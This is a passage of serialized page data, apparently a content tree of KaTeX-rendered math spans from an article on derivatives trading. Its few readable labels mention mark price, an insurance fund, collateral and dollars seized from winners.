[7142],[164037],{"type":24,"tag":930,"props":164038,"children":164040},{"className":164039},[7147,24743],[164041,164071],{"type":24,"tag":930,"props":164042,"children":164044},{"className":164043},[7152],[164045,164066],{"type":24,"tag":930,"props":164046,"children":164048},{"className":164047,"style":145030},[7157],[164049],{"type":24,"tag":930,"props":164050,"children":164052},{"style":164051},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[164053,164057],{"type":24,"tag":930,"props":164054,"children":164056},{"className":164055,"style":7167},[7166],[],{"type":24,"tag":930,"props":164058,"children":164060},{"className":164059},[7172,7173,7174,7175],[164061],{"type":24,"tag":930,"props":164062,"children":164064},{"className":164063,"style":24691},[7126,24690,7175],[164065],{"type":30,"value":9100},{"type":24,"tag":930,"props":164067,"children":164069},{"className":164068},[24846],[164070],{"type":30,"value":24849},{"type":24,"tag":930,"props":164072,"children":164074},{"className":164073},[7152],[164075],{"type":24,"tag":930,"props":164076,"children":164078},{"className":164077,"style":96195},[7157],[164079],{"type":24,"tag":930,"props":164080,"children":164081},{},[],{"type":24,"tag":930,"props":164083,"children":164085},{"style":164084},"top:7.3078em;",[164086,164090],{"type":24,"tag":930,"props":164087,"children":164089},{"className":164088,"style":163375},[7166],[],{"type":24,"tag":930,"props":164091,"children":164093},{"className":164092},[7126],[164094],{"type":24,"tag":930,"props":164095,"children":164097},{"className":164096},[7126],[164098,164103],{"type":24,"tag":930,"props":164099,"children":164101},{"className":164100,"style":125252},[7126,24690],[164102],{"type":30,"value":125255},{"type":24,"tag":930,"props":164104,"children":164106},{"className":164105},[7142],[164107],{"type":24,"tag":930,"props":164108,"children":164110},{"className":164109},[7147,24743],[164111,164142],{"type":24,"tag":930,"props":164112,"children":164114},{"className":164113},[7152],[164115,164137],{"type":24,"tag":930,"props":164116,"children":164119},{"className":164117,"style":164118},[7157],"height:0.2806em;",[164120],{"type":24,"tag":930,"props":164121,"children":164123},{"style":164122},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[164124,164128],{"type":24,"tag":930,"props":164125,"children":164127},{"className":164126,"style":7167},[7166],[],{"type":24,"tag":930,"props":164129,"children":164131},{"className":164130},[7172,7173,7174,7175],[164132],{"type":24,"tag":930,"props":164133,"children":164135},{"className":164134},[7126,24690,7175],[164136],{"type":30,"value":24831},{"type":24,"tag":930,"props":164138,"children":164140},{"className":164139},[24846],[164141],{"type":30,"value":24849},{"type":24,"tag":930,"props":164143,"children":164145},{"className":164144},[7152],[164146],{"type":24,"tag":930,"props":164147,"children":164149},{"className":164148,"style":96195},[7157],[164150],{"type":24,"tag":930,"props":164151,"children":164152},{},[],{"type":24,"tag":930,"props":164154,"children":164156},{"className":164155},[24846],[164157],{"type":30,"value":24849},{"type":24,"tag":930,"props":164159,"children":164161},{"className":164160},[7152],[164162],{"type":24,"tag":930,"props":164163,"children":164166},{"className":164164,"style":164165},[7157],"height:11.3392em;",[164167],{"type":24,"tag":930,"props":164168,"children":164169},{},[],{"type":24,"tag":930,"props":164171,"children":164173},{"className":164172},[162289],[164174],{"type":24,"tag":930,"props":164175,"children":164177},{"className":164176},[7147,24743],[164178,165880],{"type":24,"tag":930,"props":164179,"children":164181},{"className":164180},[7152],[164182,165875],{"type":24,"tag":930,"props":164183,"children":164185},{"className":164184,"style":163366},[7157],[164186,164224,164262,164409,164644,164799,164904,164947,165168,165327,165517,165669],{"type":24,"tag":930,"props":164187,"children":164188},{"style":163370},[164189,164193],{"type":24,"tag":930,"props":164190,"children":164192},{"className":164191,"style":163375},[7166],[],{"type":24,"tag":930,"props":164194,"children":164196},{"className":164195},[7126],[164197,164201,164205,164210,164214],{"type":24,"tag":930,"props":164198,"children":164200},{"className":164199},[7126],[],{"type":24,"tag":930,"props":164202,"children":164204},{"className":164203,"style":7304},[7206],[],{"type":24,"tag":930,"props":164206,"children":164208},{"className":164207},[7309],[164209],{"type":30,"value":3145},{"type":24,"tag":930,"props":164211,"children":164213},{"className":164212,"style":7304},[7206],[],{"type":24,"tag":930,"props":164215,"children":164217},{"className":164216},[7126,30],[164218],{"type":24,"tag":930,"props":164219,"children":164221},{"className":164220},[7126],[164222],{"type":30,"value":164223},"mark price",{"type":24,"tag":930,"props":164225,"children":164226},{"style":163441},[164227,164231],{"type":24,"tag":930,"props":164228,"children":164230},{"className":164229,"style":163375},[7166],[],{"type":24,"tag":930,"props":164232,"children":164234},{"className":164233},[7126],[164235,164239,164243,164248,164252],{"type":24,"tag":930,"props":164236,"children":164238},{"className":164237},[7126],[],{"type":24,"tag":930,"props":164240,"children":164242},{"className":164241,"style":7304},[7206],[],{"type":24,"tag":930,"props":164244,"children":164246},{"className":164245},[7309],[164247],{"type":30,"value":3145},{"type":24,"tag":930,"props":164249,"children":164251},{"className":164250,"style":7304},[7206],[],{"type":24,"tag":930,"props":164253,"children":164255},{"className":164254},[7126,30],[164256],{"type":24,"tag":930,"props":164257,"children":164259},{"className":164258},[7126],[164260],{"type":30,"value":164261},"insurance fund",{"type":24,"tag":930,"props":164263,"children":164264},{"style":163458},[164265,164269],{"type":24,"tag":930,"props":164266,"children":164268},{"className":164267,"style":163375},[7166],[],{"type":24,"tag":930,"props":164270,"children":164272},{"className":164271},[7126],[164273,164277,164281,164286,164290,164300,164304,164309,164313],{"type":24,"tag":930,"props":164274,"children":164276},{"className":164275},[7126],[],{"type":24,"tag":930,"props":164278,"children":164280},{"className":164279,"style":7304},[7206],[],{"type":24,"tag":930,"props":164282,"children":164284},{"className":164283},[7309],[164285],{"type":30,"value":3145},{"type":24,"tag":930,"props":164287,"children":164289},{"className":164288,"style":7304},[7206],[],{"type":24,"tag":930,"props":164291,"children":164293},{"className":164292},[7126,30],[164294],{"type":24,"tag":930,"props":164295,"children":164297},{"className":164296},[7126],[164298],{"type":30,"value":164299},"collateral",{"type":24,"tag":930,"props":164301,"children":164303},{"className":164302,"style":7304},[7206],[],{"type":24,"tag":930,"props":164305,"children":164307},{"className":164306},[7309],[164308],{"type":30,"value":1161},{"type":24,"tag":930,"props":164310,"children":164312},{"className":164311,"style":7304},[7206],[],{"type":24,"tag":930,"props":164314,"children":164316},{"className":164315},[7126],[164317,164321,164405],{"type":24,"tag":930,"props":164318,"children":164320},{"className":164319},[24818,115993],[],{"type":24,"tag":930,"props":164322,"children":164324},{"className":164323},[115998],[164325],{"type":24,"tag":930,"props":164326,"children":164328},{"className":164327},[7147,24743],[164329,164394],{"type":24,"tag":930,"props":164330,"children":164332},{"className":164331},[7152],[164333,164389],{"type":24,"tag":930,"props":164334,"children":164337},{"className":164335,"style":164336},[7157],"height:1.3714em;",[164338,164358,164369],{"type":24,"tag":930,"props":164339,"children":164340},{"style":161584},[164341,164345],{"type":24,"tag":930,"props":164342,"children":164344},{"className":164343,"style":114646},[7166],[],{"type":24,"tag":930,"props":164346,"children":164348},{"className":164347},[7126],[164349],{"type":24,"tag":930,"props":164350,"children":164352},{"className":164351},[7126,30],[164353],{"type":24,"tag":930,"props":164354,"children":164356},{"className":164355},[7126],[164357],{"type":30,"value":161621},{"type":24,"tag":930,"props":164359,"children":164360},{"style":116048},[164361,164365],{"type":24,"tag":930,"props":164362,"children":164364},{"className":164363,"style":114646},[7166],[],{"type":24,"tag":930,"props":164366,"children":164368},{"className":164367,"style":116058},[116057],[],{"type":24,"tag":930,"props":164370,"children":164371},{"style":161635},[164372,164376],{"type":24,"tag":930,"props":164373,"children":164375},{"className":164374,"style":114646},[7166],[],{"type":24,"tag":930,"props":164377,"children":164379},{"className":164378},[7126],[164380],{"type":24,"tag":930,"props":164381,"children":164383},{"className":164382},[7126,30],[164384],{"type":24,"tag":930,"props":164385,"children":164387},{"className":164386},[7126],[164388],{"type":30,"value":161660},{"type":24,"tag":930,"props":164390,"children":164392},{"className":164391},[24846],[164393],{"type":30,"value":24849},{"type":24,"tag":930,"props":164395,"children":164397},{"className":164396},[7152],[164398],{"type":24,"tag":930,"props":164399,"children":164401},{"className":164400,"style":161678},[7157],[164402],{"type":24,"tag":930,"props":164403,"children":164404},{},[],{"type":24,"tag":930,"props":164406,"children":164408},{"className":164407},[24840,115993],[],{"type":24,"tag":930,"props":164410,"children":164411},{"style":163527},[164412,164416],{"type":24,"tag":930,"props":164413,"children":164415},{"className":164414,"style":163375},[7166],[],{"type":24,"tag":930,"props":164417,"children":164419},{"className":164418},[7126],[164420,164424,164428,164433,164437,164494,164498,164503,164507,164512,164569,164573,164578,164582,164639],{"type":24,"tag":930,"props":164421,"children":164423},{"className":164422},[7126],[],{"type":24,"tag":930,"props":164425,"children":164427},{"className":164426,"style":7304},[7206],[],{"type":24,"tag":930,"props":164429,"children":164431},{"className":164430},[7309],[164432],{"type":30,"value":1161},{"type":24,"tag":930,"props":164434,"children":164436},{"className":164435,"style":7304},[7206],[],{"type":24,"tag":930,"props":164438,"children":164440},{"className":164439},[7126],[164441,164446],{"type":24,"tag":930,"props":164442,"children":164444},{"className":164443},[7126,24690],[164445],{"type":30,"value":13758},{"type":24,"tag":930,"props":164447,"children":164449},{"className":164448},[7142],[164450],{"type":24,"tag":930,"props":164451,"children":164453},{"className":164452},[7147,24743],[164454,164483],{"type":24,"tag":930,"props":164455,"children":164457},{"className":164456},[7152],[164458,164478],{"type":24,"tag":930,"props":164459,"children":164461},{"className":164460,"style":96641},[7157],[164462],{"type":24,"tag":930,"props":164463,"children":164464},{"style":96168},[164465,164469],{"type":24,"tag":930,"props":164466,"children":164468},{"className":164467,"style":7167},[7166],[],{"type":24,"tag":930,"props":164470,"children":164472},{"className":164471},[7172,7173,7174,7175],[164473],{"type":24,"tag":930,"props":164474,"children":164476},{"className":164475},[7126,24690,7175],[164477],{"type":30,"value":6854},{"type":24,"tag":930,"props":164479,"children":164481},{"className":164480},[24846],[164482],{"type":30,"value":24849},{"type":24,"tag":930,"props":164484,"children":164486},{"className":164485},[7152],[164487],{"type":24,"tag":930,"props":164488,"children":164490},{"className":164489,"style":96195},[7157],[164491],{"type":24,"tag":930,"props":164492,"children":164493},{},[],{"type":24,"tag":930,"props":164495,"children":164497},{"className":164496,"style":7207},[7206],[],{"type":24,"tag":930,"props":164499,"children":164501},{"className":164500},[7212],[164502],{"type":30,"value":113737},{"type":24,"tag":930,"props":164504,"children":164506},{"className":164505,"style":7207},[7206],[],{"type":24,"tag":930,"props":164508,"children":164510},{"className":164509},[24818],[164511],{"type":30,"value":1010},{"type":24,"tag":930,"props":164513,"children":164515},{"className":164514},[7126],[164516,164521],{"type":24,"tag":930,"props":164517,"children":164519},{"className":164518,"style":24691},[7126,24690],[164520],{"type":30,"value":24694},{"type":24,"tag":930,"props":164522,"children":164524},{"className":164523},[7142],[164525],{"type":24,"tag":930,"props":164526,"children":164528},{"className":164527},[7147,24743],[164529,164558],{"type":24,"tag":930,"props":164530,"children":164532},{"className":164531},[7152],[164533,164553],{"type":24,"tag":930,"props":164534,"children":164536},{"className":164535,"style":111907},[7157],[164537],{"type":24,"tag":930,"props":164538,"children":164539},{"style":163408},[164540,164544],{"type":24,"tag":930,"props":164541,"children":164543},{"className":164542,"style":7167},[7166],[],{"type":24,"tag":930,"props":164545,"children":164547},{"className":164546},[7172,7173,7174,7175],[164548],{"type":24,"tag":930,"props":164549,"children":164551},{"className":164550},[7126,24690,7175],[164552],{"type":30,"value":59493},{"type":24,"tag":930,"props":164554,"children":164556},{"className":164555},[24846],[164557],{"type":30,"value":24849},{"type":24,"tag":930,"props":164559,"children":164561},{"className":164560},[7152],[164562],{"type":24,"tag":930,"props":164563,"children":164565},{"className":164564,"style":96195},[7157],[164566],{"type":24,"tag":930,"props":164567,"children":164568},{},[],{"type":24,"tag":930,"props":164570,"children":164572},{"className":164571,"style":7207},[7206],[],{"type":24,"tag":930,"props":164574,"children":164576},{"className":164575},[7212],[164577],{"type":30,"value":7186},{"type":24,"tag":930,"props":164579,"children":164581},{"className":164580,"style":7207},[7206],[],{"type":24,"tag":930,"props":164583,"children":164585},{"className":164584},[7126],[164586,164591],{"type":24,"tag":930,"props":164587,"children":164589},{"className":164588},[7126,24690],[164590],{"type":30,"value":33},{"type":24,"tag":930,"props":164592,"children":164594},{"className":164593},[7142],[164595],{"type":24,"tag":930,"props":164596,"children":164598},{"className":164597},[7147,24743],[164599,164628],{"type":24,"tag":930,"props":164600,"children":164602},{"className":164601},[7152],[164603,164623],{"type":24,"tag":930,"props":164604,"children":164606},{"className":164605,"style":96641},[7157],[164607],{"type":24,"tag":930,"props":164608,"children":164609},{"style":96168},[164610,164614],{"type":24,"tag":930,"props":164611,"children":164613},{"className":164612,"style":7167},[7166],[],{"type":24,"tag":930,"props":164615,"children":164617},{"className":164616},[7172,7173,7174,7175],[164618],{"type":24,"tag":930,"props":164619,"children":164621},{"className":164620},[7126,24690,7175],[164622],{"type":30,"value":6854},{"type":24,"tag":930,"props":164624,"children":164626},{"className":164625},[24846],[164627],{"type":30,"value":24849},{"type":24,"tag":930,"props":164629,"children":164631},{"className":164630},[7152],[164632],{"type":24,"tag":930,"props":164633,"children":164635},{"className":164634,"style":96195},[7157],[164636],{"type":24,"tag":930,"props":164637,"children":164638},{},[],{"type":24,"tag":930,"props":164640,"children":164642},{"className":164641},[24840],[164643],{"type":30,"value":6249},{"type":24,"tag":930,"props":164645,"children":164646},{"style":163597},[164647,164651],{"type":24,"tag":930,"props":164648,"children":164650},{"className":164649,"style":163375},[7166],[],{"type":24,"tag":930,"props":164652,"children":164654},{"className":164653},[7126],[164655,164659,164663,164668,164672,164729,164733,164738,164742],{"type":24,"tag":930,"props":164656,"children":164658},{"className":164657},[7126],[],{"type":24,"tag":930,"props":164660,"children":164662},{"className":164661,"style":7304},[7206],[],{"type":24,"tag":930,"props":164664,"children":164666},{"className":164665},[7309],[164667],{"type":30,"value":1161},{"type":24,"tag":930,"props":164669,"children":164671},{"className":164670,"style":7304},[7206],[],{"type":24,"tag":930,"props":164673,"children":164675},{"className":164674},[7126],[164676,164681],{"type":24,"tag":930,"props":164677,"children":164679},{"className":164678},[7126,24690],[164680],{"type":30,"value":6268},{"type":24,"tag":930,"props":164682,"children":164684},{"className":164683},[7142],[164685],{"type":24,"tag":930,"props":164686,"children":164688},{"className":164687},[7147,24743],[164689,164718],{"type":24,"tag":930,"props":164690,"children":164692},{"className":164691},[7152],[164693,164713],{"type":24,"tag":930,"props":164694,"children":164696},{"className":164695,"style":96641},[7157],[164697],{"type":24,"tag":930,"props":164698,"children":164699},{"style":96168},[164700,164704],{"type":24,"tag":930,"props":164701,"children":164703},{"className":164702,"style":7167},[7166],[],{"type":24,"tag":930,"props":164705,"children":164707},{"className":164706},[7172,7173,7174,7175],[164708],{"type":24,"tag":930,"props":164709,"children":164711},{"className":164710},[7126,24690,7175],[164712],{"type":30,"value":6854},{"type":24,"tag":930,"props":164714,"children":164716},{"className":164715},[24846],[164717],{"type":30,"value":24849},{"type":24,"tag":930,"props":164719,"children":164721},{"className":164720},[7152],[164722],{"type":24,"tag":930,"props":164723,"children":164725},{"className":164724,"style":96195},[7157],[164726],{"type":24,"tag":930,"props":164727,"children":164728},{},[],{"type":24,"tag":930,"props":164730,"children":164732},{"className":164731,"style":7207},[7206],[],{"type":24,"tag":930,"props":164734,"children":164736},{"className":164735},[7212],[164737],{"type":30,"value":1400},{"type":24,"tag":930,"props":164739,"children":164741},{"className":164740,"style":7207},[7206],[],{"type":24,"tag":930,"props":164743,"children":164745},{"className":164744},[7126],[164746,164751],{"type":24,"tag":930,"props":164747,"children":164749},{"className":164748,"style":96598},[7126,24690],[164750],{"type":30,"value":163546},{"type":24,"tag":930,"props":164752,"children":164754},{"className":164753},[7142],[164755],{"type":24,"tag":930,"props":164756,"children":164758},{"className":164757},[7147,24743],[164759,164788],{"type":24,"tag":930,"props":164760,"children":164762},{"className":164761},[7152],[164763,164783],{"type":24,"tag":930,"props":164764,"children":164766},{"className":164765,"style":96641},[7157],[164767],{"type":24,"tag":930,"props":164768,"children":164769},{"style":96645},[164770,164774],{"type":24,"tag":930,"props":164771,"children":164773},{"className":164772,"style":7167},[7166],[],{"type":24,"tag":930,"props":164775,"children":164777},{"className":164776},[7172,7173,7174,7175],[164778],{"type":24,"tag":930,"props":164779,"children":164781},{"className":164780},[7126,24690,7175],[164782],{"type":30,"value":6854},{"type":24,"tag":930,"props":164784,"children":164786},{"className":164785},[24846],[164787],{"type":30,"value":24849},{"type":24,"tag":930,"props":164789,"children":164791},{"className":164790},[7152],[164792],{"type":24,"tag":930,"props":164793,"children":164795},{"className":164794,"style":96195},[7157],[164796],{"type":24,"tag":930,"props":164797,"children":164798},{},[],{"type":24,"tag":930,"props":164800,"children":164801},{"style":163666},[164802,164806],{"type":24,"tag":930,"props":164803,"children":164805},{"className":164804,"style":163375},[7166],[],{"type":24,"tag":930,"props":164807,"children":164809},{"className":164808},[7126],[164810,164814,164818,164823,164827],{"type":24,"tag":930,"props":164811,"children":164813},{"className":164812},[7126],[],{"type":24,"tag":930,"props":164815,"children":164817},{"className":164816,"style":7304},[7206],[],{"type":24,"tag":930,"props":164819,"children":164821},{"className":164820},[7309],[164822],{"type":30,"value":1161},{"type":24,"tag":930,"props":164824,"children":164826},{"className":164825,"style":7304},[7206],[],{"type":24,"tag":930,"props":164828,"children":164830},{"className":164829},[7126],[164831,164836],{"type":24,"tag":930,"props":164832,"children":164834},{"className":164833,"style":96598},[7126,24690],[164835],{"type":30,"value":163546},{"type":24,"tag":930,"props":164837,"children":164839},{"className":164838},[7142],[164840],{"type":24,"tag":930,"props":164841,"children":164843},{"className":164842},[7147,24743],[164844,164892],{"type":24,"tag":930,"props":164845,"children":164847},{"className":164846},[7152],[164848,164887],{"type":24,"tag":930,"props":164849,"children":164852},{"className":164850,"style":164851},[7157],"height:0.8213em;",[164853,164870],{"type":24,"tag":930,"props":164854,"children":164856},{"style":164855},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[164857,164861],{"type":24,"tag":930,"props":164858,"children":164860},{"className":164859,"style":7167},[7166],[],{"type":24,"tag":930,"props":164862,"children":164864},{"className":164863},[7172,7173,7174,7175],[164865],{"type":24,"tag":930,"props":164866,"children":164868},{"className":164867},[7126,24690,7175],[164869],{"type":30,"value":6854},{"type":24,"tag":930,"props":164871,"children":164873},{"style":164872},"top:-3.113em;margin-right:0.05em;",[164874,164878],{"type":24,"tag":930,"props":164875,"children":164877},{"className":164876,"style":7167},[7166],[],{"type":24,"tag":930,"props":164879,"children":164881},{"className":164880},[7172,7173,7174,7175],[164882],{"type":24,"tag":930,"props":164883,"children":164885},{"className":164884},[7212,7175],[164886],{"type":30,"value":1400},{"type":24,"tag":930,"props":164888,"children":164890},{"className":164889},[24846],[164891],{"type":30,"value":24849},{"type":24,"tag":930,"props":164893,"children":164895},{"className":164894},[7152],[164896],{"type":24,"tag":930,"props":164897,"children":164900},{"className":164898,"style":164899},[7157],"height:0.267em;",[164901],{"type":24,"tag":930,"props":164902,"children":164903},{},[],{"type":24,"tag":930,"props":164905,"children":164906},{"style":163736},[164907,164911],{"type":24,"tag":930,"props":164908,"children":164910},{"className":164909,"style":163375},[7166],[],{"type":24,"tag":930,"props":164912,"children":164914},{"className":164913},[7126],[164915,164919,164923,164928,164932,164942],{"type":24,"tag":930,"props":164916,"children":164918},{"className":164917},[7126],[],{"type":24,"tag":930,"props":164920,"children":164922},{"className":164921,"style":7304},[7206],[],{"type":24,"tag":930,"props":164924,"children":164926},{"className":164925},[7309],[164927],{"type":30,"value":3145},{"type":24,"tag":930,"props":164929,"children":164931},{"className":164930,"style":7304},[7206],[],{"type":24,"tag":930,"props":164933,"children":164935},{"className":164934},[7126,30],[164936],{"type":24,"tag":930,"props":164937,"children":164939},{"className":164938},[7126],[164940],{"type":30,"value":164941},"dollars seized from winner ",{"type":24,"tag":930,"props":164943,"children":164945},{"className":164944},[7126,24690],[164946],{"type":30,"value":6854},{"type":24,"tag":930,"props":164948,"children":164949},{"style":163805},[164950,164954],{"type":24,"tag":930,"props":164951,"children":164953},{"className":164952,"style":163375},[7166],[],{"type":24,"tag":930,"props":164955,"children":164957},{"className":164956},[7126],[164958,164962,164966,164971,164975],{"type":24,"tag":930,"props":164959,"children":164961},{"className":164960},[7126],[],{"type":24,"tag":930,"props":164963,"children":164965},{"className":164964,"style":7304},[7206],[],{"type":24,"tag":930,"props":164967,"children":164969},{"className":164968},[7309],[164970],{"type":30,"value":1161},{"type":24,"tag":930,"props":164972,"children":164974},{"className":164973,"style":7304},[7206],[],{"type":24,"tag":930,"props":164976,"children":164978},{"className":164977},[7126],[164979,164983,165164],{"type":24,"tag":930,"props":164980,"children":164982},{"className":164981},[24818,115993],[],{"type":24,"tag":930,"props":164984,"children":164986},{"className":164985},[115998],[164987],{"type":24,"tag":930,"props":164988,"children":164990},{"className":164989},[7147,24743],[164991,165152],{"type":24,"tag":930,"props":164992,"children":164994},{"className":164993},[7152],[164995,165147],{"type":24,"tag":930,"props":164996,"children":164999},{"className":164997,"style":164998},[7157],"height:1.1076em;",[165000,165068,165079],{"type":24,"tag":930,"props":165001,"children":165002},{"style":161584},[165003,165007],{"type":24,"tag":930,"props":165004,"children":165006},{"className":165005,"style":114646},[7166],[],{"type":24,"tag":930,"props":165008,"children":165010},{"className":165009},[7126],[165011],{"type":24,"tag":930,"props":165012,"children":165014},{"className":165013},[7126],[165015,165020],{"type":24,"tag":930,"props":165016,"children":165018},{"className":165017,"style":124755},[7126,24690],[165019],{"type":30,"value":52661},{"type":24,"tag":930,"props":165021,"children":165023},{"className":165022},[7142],[165024],{"type":24,"tag":930,"props":165025,"children":165027},{"className":165026},[7147,24743],[165028,165057],{"type":24,"tag":930,"props":165029,"children":165031},{"className":165030},[7152],[165032,165052],{"type":24,"tag":930,"props":165033,"children":165035},{"className":165034,"style":96641},[7157],[165036],{"type":24,"tag":930,"props":165037,"children":165038},{"style":163703},[165039,165043],{"type":24,"tag":930,"props":165040,"children":165042},{"className":165041,"style":7167},[7166],[],{"type":24,"tag":930,"props":165044,"children":165046},{"className":165045},[7172,7173,7174,7175],[165047],{"type":24,"tag":930,"props":165048,"children":165050},{"className":165049},[7126,24690,7175],[165051],{"type":30,"value":6854},{"type":24,"tag":930,"props":165053,"children":165055},{"className":165054},[24846],[165056],{"type":30,"value":24849},{"type":24,"tag":930,"props":165058,"children":165060},{"className":165059},[7152],[165061],{"type":24,"tag":930,"props":165062,"children":165064},{"className":165063,"style":96195},[7157],[165065],{"type":24,"tag":930,"props":165066,"children":165067},{},[],{"type":24,"tag":930,"props":165069,"children":165070},{"style":116048},[165071,165075],{"type":24,"tag":930,"props":165072,"children":165074},{"className":165073,"style":114646},[7166],[],{"type":24,"tag":930,"props":165076,"children":165078},{"className":165077,"style":116058},[116057],[],{"type":24,"tag":930,"props":165080,"children":165081},{"style":161635},[165082,165086],{"type":24,"tag":930,"props":165083,"children":165085},{"className":165084,"style":114646},[7166],[],{"type":24,"tag":930,"props":165087,"children":165089},{"className":165088},[7126],[165090],{"type":24,"tag":930,"props":165091,"children":165093},{"className":165092},[7126],[165094,165099],{"type":24,"tag":930,"props":165095,"children":165097},{"className":165096},[7126,24690],[165098],{"type":30,"value":22378},{"type":24,"tag":930,"props":165100,"children":165102},{"className":165101},[7142],[165103],{"type":24,"tag":930,"props":165104,"children":165106},{"className":165105},[7147,24743],[165107,165136],{"type":24,"tag":930,"props":165108,"children":165110},{"className":165109},[7152],[165111,165131],{"type":24,"tag":930,"props":165112,"children":165114},{"className":165113,"style":96641},[7157],[165115],{"type":24,"tag":930,"props":165116,"children":165117},{"style":96168},[165118,165122],{"type":24,"tag":930,"props":165119,"children":165121},{"className":165120,"style":7167},[7166],[],{"type":24,"tag":930,"props":165123,"children":165125},{"className":165124},[7172,7173,7174,7175],[165126],{"type":24,"tag":930,"props":165127,"children":165129},{"className":165128},[7126,24690,7175],[165130],{"type":30,"value":6854},{"type":24,"tag":930,"props":165132,"children":165134},{"className":165133},[24846],[165135],{"type":30,"value":24849},{"type":24,"tag":930,"props":165137,"children":165139},{"className":165138},[7152],[165140],{"type":24,"tag":930,"props":165141,"children":165143},{"className":165142,"style":96195},[7157],[165144],{"type":24,"tag":930,"props":165145,"children":165146},{},[],{"type":24,"tag":930,"props":165148,"children":165150},{"className":165149},[24846],[165151],{"type":30,"value":24849},{"type":24,"tag":930,"props":165153,"children":165155},{"className":165154},[7152],[165156],{"type":24,"tag":930,"props":165157,"children":165160},{"className":165158,"style":165159},[7157],"height:0.836em;",[165161],{"type":24,"tag":930,"props":165162,"children":165163},{},[],{"type":24,"tag":930,"props":165165,"children":165167},{"className":165166},[24840,115993],[],{"type":24,"tag":930,"props":165169,"children":165170},{"style":163874},[165171,165175],{"type":24,"tag":930,"props":165172,"children":165174},{"className":165173,"style":163375},[7166],[],{"type":24,"tag":930,"props":165176,"children":165178},{"className":165177},[7126],[165179,165183,165187,165192,165196,165266,165270],{"type":24,"tag":930,"props":165180,"children":165182},{"className":165181},[7126],[],{"type":24,"tag":930,"props":165184,"children":165186},{"className":165185,"style":7304},[7206],[],{"type":24,"tag":930,"props":165188,"children":165190},{"className":165189},[7309],[165191],{"type":30,"value":1161},{"type":24,"tag":930,"props":165193,"children":165195},{"className":165194,"style":7304},[7206],[],{"type":24,"tag":930,"props":165197,"children":165200},{"className":165198},[24725,165199],"op-limits",[165201],{"type":24,"tag":930,"props":165202,"children":165204},{"className":165203},[7147,24743],[165205,165254],{"type":24,"tag":930,"props":165206,"children":165208},{"className":165207},[7152],[165209,165249],{"type":24,"tag":930,"props":165210,"children":165213},{"className":165211,"style":165212},[7157],"height:1.05em;",[165214,165232],{"type":24,"tag":930,"props":165215,"children":165217},{"style":165216},"top:-1.8723em;margin-left:0em;",[165218,165223],{"type":24,"tag":930,"props":165219,"children":165222},{"className":165220,"style":165221},[7166],"height:3.05em;",[],{"type":24,"tag":930,"props":165224,"children":165226},{"className":165225},[7172,7173,7174,7175],[165227],{"type":24,"tag":930,"props":165228,"children":165230},{"className":165229},[7126,24690,7175],[165231],{"type":30,"value":6854},{"type":24,"tag":930,"props":165233,"children":165235},{"style":165234},"top:-3.05em;",[165236,165240],{"type":24,"tag":930,"props":165237,"children":165239},{"className":165238,"style":165221},[7166],[],{"type":24,"tag":930,"props":165241,"children":165242},{},[165243],{"type":24,"tag":930,"props":165244,"children":165247},{"className":165245},[24725,24730,165246],"large-op",[165248],{"type":30,"value":111270},{"type":24,"tag":930,"props":165250,"children":165252},{"className":165251},[24846],[165253],{"type":30,"value":24849},{"type":24,"tag":930,"props":165255,"children":165257},{"className":165256},[7152],[165258],{"type":24,"tag":930,"props":165259,"children":165262},{"className":165260,"style":165261},[7157],"height:1.2777em;",[165263],{"type":24,"tag":930,"props":165264,"children":165265},{},[],{"type":24,"tag":930,"props":165267,"children":165269},{"className":165268,"style":7245},[7206],[],{"type":24,"tag":930,"props":165271,"children":165273},{"className":165272},[7126],[165274,165279],{"type":24,"tag":930,"props":165275,"children":165277},{"className":165276},[7126,24690],[165278],{"type":30,"value":22378},{"type":24,"tag":930,"props":165280,"children":165282},{"className":165281},[7142],[165283],{"type":24,"tag":930,"props":165284,"children":165286},{"className":165285},[7147,24743],[165287,165316],{"type":24,"tag":930,"props":165288,"children":165290},{"className":165289},[7152],[165291,165311],{"type":24,"tag":930,"props":165292,"children":165294},{"className":165293,"style":96641},[7157],[165295],{"type":24,"tag":930,"props":165296,"children":165297},{"style":96168},[165298,165302],{"type":24,"tag":930,"props":165299,"children":165301},{"className":165300,"style":7167},[7166],[],{"type":24,"tag":930,"props":165303,"children":165305},{"className":165304},[7172,7173,7174,7175],[165306],{"type":24,"tag":930,"props":165307,"children":165309},{"className":165308},[7126,24690,7175],[165310],{"type":30,"value":6854},{"type":24,"tag":930,"props":165312,"children":165314},{"className":165313},[24846],[165315],{"type":30,"value":24849},{"type":24,"tag":930,"props":165317,"children":165319},{"className":165318},[7152],[165320],{"type":24,"tag":930,"props":165321,"children":165323},{"className":165322,"style":96195},[7157],[165324],{"type":24,"tag":930,"props":165325,"children":165326},{},[],{"type":24,"tag":930,"props":165328,"children":165329},{"style":163943},[165330,165334],{"type":24,"tag":930,"props":165331,"children":165333},{"className":165332,"style":163375},[7166],[],{"type":24,"tag":930,"props":165335,"children":165337},{"className":165336},[7126],[165338,165342,165346,165351,165355,165418,165422,165427,165432,165437,165494,165499,165503,165507,165512],{"type":24,"tag":930,"props":165339,"children":165341},{"className":165340},[7126],[],{"type":24,"tag":930,"props":165343,"children":165345},{"className":165344,"style":7304},[7206],[],{"type":24,"tag":930,"props":165347,"children":165349},{"className":165348},[7309],[165350],{"type":30,"value":1161},{"type":24,"tag":930,"props":165352,"children":165354},{"className":165353,"style":7304},[7206],[],{"type":24,"tag":930,"props":165356,"children":165358},{"className":165357},[24725,165199],[165359],{"type":24,"tag":930,"props":165360,"children":165362},{"className":165361},[7147,24743],[165363,165407],{"type":24,"tag":930,"props":165364,"children":165366},{"className":165365},[7152],[165367,165402],{"type":24,"tag":930,"props":165368,"children":165370},{"className":165369,"style":165212},[7157],[165371,165387],{"type":24,"tag":930,"props":165372,"children":165373},{"style":165216},[165374,165378],{"type":24,"tag":930,"props":165375,"children":165377},{"className":165376,"style":165221},[7166],[],{"type":24,"tag":930,"props":165379,"children":165381},{"className":165380},[7172,7173,7174,7175],[165382],{"type":24,"tag":930,"props":165383,"children":165385},{"className":165384},[7126,24690,7175],[165386],{"type":30,"value":6854},{"type":24,"tag":930,"props":165388,"children":165389},{"style":165234},[165390,165394],{"type":24,"tag":930,"props":165391,"children":165393},{"className":165392,"style":165221},[7166],[],{"type":24,"tag":930,"props":165395,"children":165396},{},[165397],{"type":24,"tag":930,"props":165398,"children":165400},{"className":165399},[24725,24730,165246],[165401],{"type":30,"value":111270},{"type":24,"tag":930,"props":165403,"